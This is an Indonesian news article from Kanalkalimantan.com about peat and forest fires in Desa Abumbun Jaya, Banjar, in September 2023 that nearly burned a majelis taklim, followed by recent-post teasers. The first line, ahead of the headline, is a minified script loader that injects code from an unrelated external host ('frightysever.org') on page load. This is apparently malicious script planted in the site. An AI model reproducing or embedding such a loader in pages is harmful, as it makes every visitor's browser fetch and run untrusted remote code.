(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dua Hari Api Berkobar di Abumbun Jaya, Majelis Taklim Nyaris Terbakar


KANALKALIMANTAN.COM, MARTAPURA – Hutan galam dan lahan rawa gambut terbakar hebat di Desa Abumbun Jaya mengepung Majelis Taklim Wadda’wah Sirajul Munir di Kecamatan Sungai Tabuk, Kabupaten Banjar, Senin (11/9/2023) siang.

Sehari sebelumnya, Minggu (10/9/2023), kebakaran hebat terjadi di Desa Abumbun Jaya jalur 8, sempat membuat Satgas Karhutla kewalahan memadamkan api di jalur 6, 7 dan 8, sejak pukul 14.31 Wita hingga pukul 20.00 Wita.

Kobaran api kembali muncul pada Senin (11/9/2023) siang, sekitar pukul 11.20 Wita. Titik api aktif kembali muncul di jalur 6 dan cepat merembet karena terpaan angin kencang, hingga bergeser mendekati Majelis Ta’lim Wadda’wah Sirajul Munir.

Baca juga: Air Leding Tak Sampai di Mantuil, PAM Bandarmasih Kirim Mobil Tangki 

“Kebakaran ini berasal dari api kemarin,” ujar Syahran, lelaki 56 tahun warga Abumbun Jaya, Senin (11/9/2023) siang.

Berjarak kurang lebih 5 meter hampir mengenai rumah dan majelis ta’lim, sembari menunggu bantuan datang, warga memadamkan api dengan menggunakan peralatan sedanya. Upaya agar api tidak merembet karena angin begitu kencang menambah kekhawatiran warga setempat.

Baca juga: Warga Lakukan Salat Istisqa di Banjarmasin

Bantuan pemadam akhirnya datang dari BPBD Kabupaten Banjar, Tagana, TNI, Polri, PMI, EBR, RAPI, BPK gabungan (Banjar, Banjarbaru, Banjarmasin) memadamkan kobaran api yang mendekat permukiman warga dan Majelis Ta’lim Wadda’wah Sirajul Munir.

Bahkan helikopter water boombing pun ikut andil dalam memadamkan kobaran api lewat udara.

Sekitar pukul 13.41 Wita api masih terlihat menyala hingga pukul 15.03 Wita sebagian pemadam gabungan perlahan meninggalkan lokasi. Beberapa masih bertahan memonitor perkembangan di lokasi.

“Perkiraan luas lahan yang terbakar sebanyak 29 hektare,” ujar Warsita, Kalak BPBD Kabupaten Banjar kepada Kanalkalimantan.com, Senin (11/9/2023) siang.

Baca juga: Ombudsman RI Kalsel Tagih Perbaikan Pelayanan PTAM Intan Banjar

Akibat kebakaran lahan ini tak hanya berdampak kepada warga dan masyarakat sekitar yaitu asap yang menyebabkan mata perih dan batuk. Kebakaran ini juga membuat hewan melata terpanggang.

Sehari sebelumnya, kobaran api di Abumbun Jaya jalur 8, Kecamatan Sungai Tabuk, Kabupaten Banjar, sudah muncul sejak Minggu (10/9/2023) siang.

Sekitar pukul 14.14 Wita, api menghabiskan lahan rawa gambut di Desa Abumbun Jaya jalur 8, melebar hingga mendekati permukiman warga.

“Ada kebakaran dekat majelis Guru Sam’ani, jadi kami kesini karena ada rumah keponakan takut kalau kena api,” ujar Ati, perempuan 40 tahun warga sekitar. (Kanalkalimantan.com/nh)

Reporter : nh
Editor : bie


Muhammad Andi

Recent Posts

Tinjau SPKLU, Dirut PLN Pastikan Seluruh Infrastruktur EV Siap 24 Jam

KANALKALIMANTAN.COM, BANDUNG - Direktur Utama PT PLN (Persero) Darmawan Prasodjo memastikan seluruh infrastruktur Stasiun Pengisian… Read More

6 jam ago

Wamen BUMN Apresiasi Kesiapan Listrik PLN Periode Nataru

KANALKALIMANTAN.COM, CILEGON - Wakil Menteri (Wamen) Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan sistem… Read More

7 jam ago

Ragam Seni dan Produk UMKM Balangan di “Racah Mampulang Bakarasmin 2024”

KANALKALIMANTAN.COM, PARINGIN - Desa Balida, Kecamatan Paringin untuk kali ketiga mengelar gebyar desa. Acara bertajuk… Read More

8 jam ago

Ada Mandi Busa di Palm Mini Waterpark Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Destinasi wahana mandi busa pertama hadir di Kota Banjarbaru menjadi pilihan warga… Read More

9 jam ago

KAMMI Kalsel: Jaga Keharmonisan dan Toleransi

KANALKALIMANTAN.COM, BANJARMASIN – Momentum Natal dan Tahun Baru 2025, Kesatuan Aksi Mahasiswa Muslim Indonesia (KAMMI)… Read More

12 jam ago

Srikandi Sahabat Anak Berbagi Kebahagiaan di TPA Al Muhajirin

KANALKALIMANTAN.COM, MARTAPURA - Srikandi PLN Unit Induk Penyaluran dan Pusat Pengatur Beban Kalimantan bersama dengan… Read More

12 jam ago

This website uses cookies.